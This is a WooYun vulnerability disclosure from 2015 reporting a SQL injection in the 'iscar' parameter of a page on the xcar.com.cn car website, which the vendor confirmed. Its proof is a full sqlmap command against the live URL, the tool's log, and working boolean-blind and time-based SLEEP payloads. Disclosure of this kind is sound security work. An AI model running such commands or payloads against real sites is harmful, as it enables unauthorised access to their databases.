当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0149750

漏洞标题:爱卡汽车网某链接存在SQL注入漏洞可跨库

相关厂商:爱卡汽车网

漏洞作者: 路人甲

提交时间:2015-10-27 10:46

修复时间:2015-12-11 12:22

公开时间:2015-12-11 12:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-27: 细节已通知厂商并且等待厂商处理中
2015-10-27: 厂商已经确认,细节仅向厂商公开
2015-11-06: 细节向核心白帽子及相关领域专家公开
2015-11-16: 细节向普通白帽子公开
2015-11-26: 细节向实习白帽子公开
2015-12-11: 细节向公众公开

简要描述:

SQL存在注入漏洞

详细说明:

QQ截图20151027102044.png

漏洞证明:

D:\Python27\SqlMap>sqlmap.py -u "http://topic.xcar.com.cn/201107/jlys/list.php?i
scar=1&count=21&per=8&cur=1" --level=5 --risk=3
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151023}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:09:14
[10:09:14] [INFO] testing connection to the target URL
[10:09:14] [INFO] checking if the target is protected by some kind of WAF/IPS/ID
S
[10:09:14] [INFO] testing if the target URL is stable
[10:09:15] [INFO] target URL is stable
[10:09:15] [INFO] testing if GET parameter 'iscar' is dynamic
[10:09:15] [INFO] confirming that GET parameter 'iscar' is dynamic
[10:09:15] [INFO] GET parameter 'iscar' is dynamic
[10:09:16] [WARNING] reflective value(s) found and filtering out
[10:09:16] [INFO] heuristic (basic) test shows that GET parameter 'iscar' might
be injectable
[10:09:16] [INFO] testing for SQL injection on GET parameter 'iscar'
[10:09:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:09:17] [INFO] GET parameter 'iscar' seems to be 'AND boolean-based blind - W
HERE or HAVING clause' injectable
[10:09:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[10:09:17] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause'
[10:09:18] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXTRACTVALUE)'
[10:09:18] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause (EXTRACTVALUE)'
[10:09:18] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (UPDATEXML)'
[10:09:18] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause (UPDATEXML)'
[10:09:18] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXP)'
[10:09:18] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (E
XP)'
[10:09:18] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (BIGINT UNSIGNED)'
[10:09:18] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (B
IGINT UNSIGNED)'
[10:09:18] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[10:09:19] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING clause'
[10:09:19] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[10:09:19] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:09:19] [INFO] testing 'PostgreSQL OR error-based - WHERE or HAVING clause'
[10:09:19] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[10:09:19] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or
HAVING clause'
[10:09:20] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause (IN)'
[10:09:20] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or
HAVING clause (IN)'
[10:09:20] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[10:09:20] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (XMLTy
pe)'
[10:09:20] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_
INADDR.GET_HOST_ADDRESS)'
[10:09:20] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (UTL_I
NADDR.GET_HOST_ADDRESS)'
[10:09:20] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (CTXS
YS.DRITHSX.SN)'
[10:09:21] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (CTXSY
S.DRITHSX.SN)'
[10:09:21] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (DBMS
_UTILITY.SQLID_TO_SQLHASH)'
[10:09:21] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (DBMS_
UTILITY.SQLID_TO_SQLHASH)'
[10:09:21] [INFO] testing 'Firebird AND error-based - WHERE or HAVING clause'
[10:09:21] [INFO] testing 'Firebird OR error-based - WHERE or HAVING clause'
[10:09:21] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACT
VALUE)'
[10:09:21] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[10:09:21] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACT
VALUE)'
[10:09:22] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEX
ML)'
[10:09:22] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[10:09:22] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT
UNSIGNED)'
[10:09:22] [INFO] testing 'PostgreSQL error-based - Parameter replace'
[10:09:22] [INFO] testing 'PostgreSQL error-based - Parameter replace (GENERATE_
SERIES)'
[10:09:22] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter r
eplace'
[10:09:22] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter r
eplace (integer column)'
[10:09:23] [INFO] testing 'Oracle error-based - Parameter replace'
[10:09:23] [INFO] testing 'Firebird error-based - Parameter replace'
[10:09:23] [INFO] testing 'MySQL inline queries'
[10:09:23] [INFO] testing 'PostgreSQL inline queries'
[10:09:23] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[10:09:23] [INFO] testing 'Oracle inline queries'
[10:09:23] [INFO] testing 'SQLite inline queries'
[10:09:23] [INFO] testing 'Firebird inline queries'
[10:09:24] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[10:09:24] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT)'
[10:09:24] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[10:09:24] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[10:09:24] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment
)'
[10:09:24] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[10:09:24] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[10:09:24] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[10:09:25] [INFO] testing 'PostgreSQL stacked queries (heavy query - comment)'
[10:09:25] [INFO] testing 'PostgreSQL stacked queries (heavy query)'
[10:09:25] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc - comment)'
[10:09:25] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc)'
[10:09:25] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)
'
[10:09:25] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[10:09:25] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - c
omment)'
[10:09:25] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)'
[10:09:26] [INFO] testing 'Oracle stacked queries (heavy query - comment)'
[10:09:26] [INFO] testing 'Oracle stacked queries (heavy query)'
[10:09:26] [INFO] testing 'Oracle stacked queries (DBMS_LOCK.SLEEP - comment)'
[10:09:26] [INFO] testing 'Oracle stacked queries (DBMS_LOCK.SLEEP)'
[10:09:26] [INFO] testing 'Oracle stacked queries (USER_LOCK.SLEEP - comment)'
[10:09:26] [INFO] testing 'Oracle stacked queries (USER_LOCK.SLEEP)'
[10:09:26] [INFO] testing 'IBM DB2 stacked queries (heavy query - comment)'
[10:09:26] [INFO] testing 'IBM DB2 stacked queries (heavy query)'
[10:09:27] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
[10:09:27] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'
[10:09:27] [INFO] testing 'Firebird stacked queries (heavy query - comment)'
[10:09:27] [INFO] testing 'Firebird stacked queries (heavy query)'
[10:09:27] [INFO] testing 'SAP MaxDB stacked queries (heavy query - comment)'
[10:09:27] [INFO] testing 'SAP MaxDB stacked queries (heavy query)'
[10:09:27] [INFO] testing 'HSQLDB >= 1.7.2 stacked queries (heavy query - commen
t)'
[10:09:27] [INFO] testing 'HSQLDB >= 1.7.2 stacked queries (heavy query)'
[10:09:28] [INFO] testing 'HSQLDB >= 2.0 stacked queries (heavy query - comment)
'
[10:09:28] [INFO] testing 'HSQLDB >= 2.0 stacked queries (heavy query)'
[10:09:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[10:09:48] [INFO] GET parameter 'iscar' seems to be 'MySQL >= 5.0.12 AND time-ba
sed blind (SELECT)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] y
[10:11:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[10:11:13] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[10:11:13] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[10:11:14] [INFO] target URL appears to have 1 column in query
[10:11:14] [WARNING] if UNION based SQL injection is not detected, please consid
er and/or try to force the back-end DBMS (e.g. '--dbms=mysql')
[10:11:14] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns
'
[10:11:14] [INFO] testing 'Generic UNION query (NULL) - 22 to 40 columns'
[10:11:17] [INFO] testing 'Generic UNION query (random number) - 22 to 40 column
s'
[10:11:19] [INFO] testing 'Generic UNION query (NULL) - 42 to 60 columns'
[10:11:21] [INFO] testing 'Generic UNION query (random number) - 42 to 60 column
s'
[10:11:24] [INFO] testing 'Generic UNION query (NULL) - 62 to 80 columns'
[10:11:26] [INFO] testing 'Generic UNION query (random number) - 62 to 80 column
s'
[10:11:28] [INFO] testing 'Generic UNION query (NULL) - 82 to 100 columns'
[10:11:31] [INFO] testing 'Generic UNION query (random number) - 82 to 100 colum
ns'
[10:11:33] [INFO] checking if the injection point on GET parameter 'iscar' is a
false positive
GET parameter 'iscar' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 284 HTTP(s) r
equests:
---
Parameter: iscar (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: iscar=1 AND 7454=7454&count=21&per=8&cur=1
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: iscar=1 AND (SELECT * FROM (SELECT(SLEEP(5)))PvzQ)&count=21&per=8&c
ur=1
---
[10:11:52] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[10:11:52] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\topic.xcar.com.cn'
[*] shutting down at 10:11:52

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-10-27 12:20

厂商回复:

感谢路人甲的提供帮助,问题已经确认,我们会尽快修复!

最新状态:

暂无